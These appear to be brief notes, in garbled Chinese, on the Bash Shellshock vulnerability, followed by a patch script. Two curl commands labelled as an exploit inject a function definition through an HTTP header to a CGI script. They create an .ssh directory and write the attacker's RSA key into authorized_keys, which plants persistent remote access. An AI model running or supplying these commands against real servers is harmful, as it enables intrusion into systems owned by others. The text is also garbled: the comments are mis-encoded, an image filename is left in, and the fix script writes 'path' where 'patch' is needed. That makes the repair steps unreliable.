echo $shell
#查看當(dāng)前用戶(hù)的shell
image.png
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
#定義了一個(gè)名字叫x的變量祭饭，內(nèi)容時(shí)單引號(hào)內(nèi)的淤翔。
exploit：
curl -H 'x: () { :;};a='/bin/mkdir /var/www/.ssh';echo "a: $a"' 'http://www.example.com/cgi-bin/test.cgi' -I
curl -H 'x: () { :;};a='/bin/echo "rsa公鑰" > /var/www/.ssh/authorized_keys';echo "a: $a"' 'http://www.example.com/cgi-bin/test.cgi' -I
修復(fù)漏洞腳本：
#!/bin/bash
yum -y update && yum -y install build-essential gettext bison
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar -zxvf bash-3.2.tar.gz
cd bash-3.2
for i in $(seq -f "%03g" 1 53);
do
wget -nv http://ftp.gnu.org/gnu/bash/bash-3/gnu/bash/bash-3.2-patches/bash32-$i
path -p0 < bash32-$i
done
